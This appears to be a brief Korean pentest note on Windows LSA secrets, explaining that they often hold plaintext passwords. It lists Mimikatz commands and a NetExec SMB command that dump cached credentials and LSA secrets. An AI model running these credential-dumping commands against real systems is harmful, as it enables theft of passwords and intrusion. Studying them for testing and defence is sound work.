요약

• 시스템이 자동 작업을 위해 몰래 보관하는 비밀번호 저장소.
• 암호화되지 않은 plaintext 비밀번호가 들어있는 경우가 많아 매우 위험.

공격

Mimikatz

privilege::debug
token::elevate
lsadump::cache

NetExec

nxc smb <IP> --local-auth -u <username> -p <password> --lsa